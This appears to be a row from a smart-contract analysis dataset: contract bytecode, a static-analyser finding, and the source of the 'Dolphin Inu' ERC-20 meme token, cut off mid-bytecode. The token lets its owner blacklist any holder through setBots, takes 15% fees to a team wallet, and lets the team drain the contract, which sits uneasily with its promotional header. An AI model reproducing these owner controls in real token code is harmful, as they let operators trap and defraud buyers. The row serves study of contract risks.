182613544565b506060830151613abe6060860182613ea6565b506080830151613ad160a0860182613ea6565b5060a083015184820360e0860152613ae98282613b87565b9150508091505092915050565b600061010083016000830151613b0f6000860182613544565b5060208301518482036020860152613b2782826138f8565b9150506040830151613b3c6040860182613544565b506060830151613b4f6060860182613ea6565b506080830151613b6260a0860182613ea6565b5060a083015184820360e0860152613b7a8282613b87565b9150508091505092915050565b600060c0830160008301518482036000860152613ba482826138f8565b9150506020830151613bb96020860182613f3f565b506040830151613bcc604086018261389e565b506060830151613bdf6060860182613544565b506080830151613bf26080860182613f3f565b5060a0830151613c0560a086018261389e565b508091505092915050565b600060a083016000830151613c286000860182613544565b5060208301518482036020860152613c4082826138f8565b91505060408301518482036040860152613c5a82826138f8565b91505060608301518482036060860152613c7482826138f8565b91505060808301518482036080860152613c8e8282613ed5565b9150508091505092915050565b600060a083016000830151613cb36000860182613544565b5060208301518482036020860152613ccb82826138f8565b91505060408301518482036040860152613ce582826138f8565b91505060608301518482036060860152613cff82826138f8565b91505060808301518482036080860152613d198282613ed5565b9150508091505092915050565b600061014083016000830151613d3f6000860182613544565b506020830151613d526020860182613544565b5060408301518482036040860152613d6a82826138f8565b9150506060830151613d7f6060860182613f3f565b506080830151613d926080860182613ea6565b5060a0830151613da560c0860182613ea6565b5060c0830151848203610100860152613dbe8282613683565b91505060e0830151848203610120860152613dd98282613683565b9150508091505092915050565b600061014083016000830151613dff6000860182613544565b506020830151613e126020860182613544565b5060408301518482036040860152613e2a82826138f8565b9150506060830151613e3f6060860182613f3f565b506080830151613e526080860182613ea6565b5060a0830151613e6560c0860182613ea6565b5060c0830151848203610100860152613e7e8282613683565b91505060e0830151848203610120860152613e998282613683565b9150508091505092915050565b604082016000820151613ebc6000850182613f3f565b506020820151613ecf6020850182613f3f565b50505050565b6000608083016000830151613eed6000860182613544565b5060208301518482036020860152613f0582826138f8565b91505060408301518482036040860152613f1f82826138f8565b9150506060830151613f346060860182613f5d565b508091505092915050565b613f48816147ef565b82525050565b613f57816147ef565b82525050565b613f66816147f9565b82525050565b6000602082019050613f816000830184613553565b92915050565b6000606082019050613f9c6000830186613553565b8181036020830152613fae8185613562565b90508181036040830152613fc28184613562565b9050949350505050565b6000606082019050613fe16000830186613553565b8181036020830152613ff38185613562565b9050818103604083015261400781846135c0565b9050949350505050565b60006040820190506140266000830185613553565b6140336020830184613f4e565b9392505050565b600060208201905081810360008301526140548184613562565b905092915050565b600060208201905081810360008301526140768184613625565b905092915050565b6000602082019050818103600083015261409881846136e1565b905092915050565b600060208201905081810360008301526140ba818461373f565b905092915050565b600060208201905081810360008301526140dc81846137b4565b905092915050565b600060208201905081810360008301526140fe8184613829565b905092915050565b600060208201905061411b60008301846138ad565b92915050565b600060208201905061413660008301846138bc565b92915050565b600060208201905061415160008301846138cb565b92915050565b600060208201905061416c60008301846138da565b92915050565b600060208201905061418760008301846138e9565b92915050565b600060208201905081810360008301526141a681613931565b9050919050565b600060208201905081810360008301526141c681613954565b9050919050565b600060208201905081810360008301526141e78184613977565b905092915050565b600060208201905081810360008301526142098184613af6565b905092915050565b6000602082019050818103600083015261422b8184613c9b565b905092915050565b6000602082019050818103600083015261424d8184613de6565b905092915050565b600060208201905061426a6000830184613f4e565b92915050565b600061427a61428b565b9050614286828261490d565b919050565b6000604051905090565b600067ffffffffffffffff8211156142b0576142af6149e5565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156142dc576142db6149e5565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614308576143076149e5565b5b602082029050602081019050919050565b600067ffffffffffffffff821115614334576143336149e5565b5b61433d82614a27565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081549050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000600182019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614516826147ef565b9150614521836147ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561455657614555614987565b5b828201905092915050565b600061456c826147ef565b9150614577836147ef565b925082614587576145866149b6565b5b828204905092915050565b6000808291508390505b60018511156145dc578086048111156145b8576145b7614987565b5b60018516156145c75780820291505b80810290506145d585614a45565b945061459c565b94509492505050565b60006145f0826147ef565b91506145fb836147f9565b92506146287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614630565b905092915050565b60008261464057600190506146fc565b8161464e57600090506146fc565b8160018114614664576002811461466e5761469d565b60019150506146fc565b60ff8411156146805761467f614987565b5b8360020a91508482111561469757614696614987565b5b506146fc565b5060208310610133831016604e8410600b84101617156146d25782820a9050838111156146cd576146cc614987565b5b6146fc565b6146df8484846001614592565b925090508184048111156146f6576146f5614987565b5b81810290505b9392505050565b600061470e826147ef565b9150614719836147ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561475257614751614987565b5b828202905092915050565b6000614768826147ef565b9150614773836147ef565b92508282101561478657614785614987565b5b828203905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006147bc826147cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061481182614818565b9050919050565b6000614823826147cf565b9050919050565b60006148358261483c565b9050919050565b6000614847826147cf565b9050919050565b600061485982614860565b9050919050565b600061486b826147cf565b9050919050565b600061487d82614884565b9050919050565b600061488f826147cf565b9050919050565b60005b838110156148b4578082015181840152602081019050614899565b838111156148c3576000848401525b50505050565b60006148d4826147ef565b915060008214156148e8576148e7614987565b5b600182039050919050565b600061490661490183614a38565b614791565b9050919050565b61491682614a27565b810181811067ffffffffffffffff82111715614935576149346149e5565b5b80604052505050565b6000614949826147ef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561497c5761497b614987565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000614a2082546148f3565b9050919050565b6000601f19601f8301169050919050565b60008160001c9050919050565b60008160011c9050919050565b7f4d616e6167656d656e744c6973743a2063616c6c6572206973206e6f7420612060008201527f6d616e6167657200000000000000000000000000000000000000000000000000602082015250565b7f416461707465723a20556e61626c6520746f206368616e67652061737365742060008201527f6465707265636174696f6e207374617475730000000000000000000000000000602082015250565b614af9816147b1565b8114614b0457600080fd5b50565b614b10816147c3565b8114614b1b57600080fd5b50565b614b27816147ef565b8114614b3257600080fd5b50565b614b3e816147f9565b8114614b4957600080fd5b5056fea264697066735822122042a17bf54915001c7f498a9bc2591e7b2a8b8cf810808d5261db588e9bd0569364736f6c63430008020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,551 |
0x3ac5d3aea074b1507a277ef36b3496bc7db4aa16 | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
$DolphinInu is going to launch in the uniswap at anytime you make!
📱 https://t.me/dolphininutoken
🦜 https://twitter.com/Dolphin_Inu
🔥 No Team Tokens
🧨 Ownership will be renounced
🔒 LP will be locked on Team.Finance
⏰ No cooldown
🧩 1% Buy limit at start
👏 No limit for sell.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DolphinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Dolphin Inu";
string private constant _symbol = "DolphinInu \xF0\x9F\x90\xAC";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4f565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e34565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff1565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612923565b61048d565b6040516101e09190612e34565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613066565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ef565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b19190612ff1565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d66565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4f565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612972565b61098d565b60405161035b9190612e34565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ae565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a41565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e7565b61121a565b6040516104189190612ff1565b60405180910390f35b60606040518060400160405280600b81526020017f446f6c7068696e20496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f31565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f31565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f446f6c7068696e496e7520f09f90ac0000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f31565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613307565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f31565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128be565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128be565b6040518363ffffffff1660e01b8152600401610e1f929190612d81565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128be565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd3565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a6a565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612daa565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a18565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f31565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef1565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff1565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f91565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e71565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f51565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565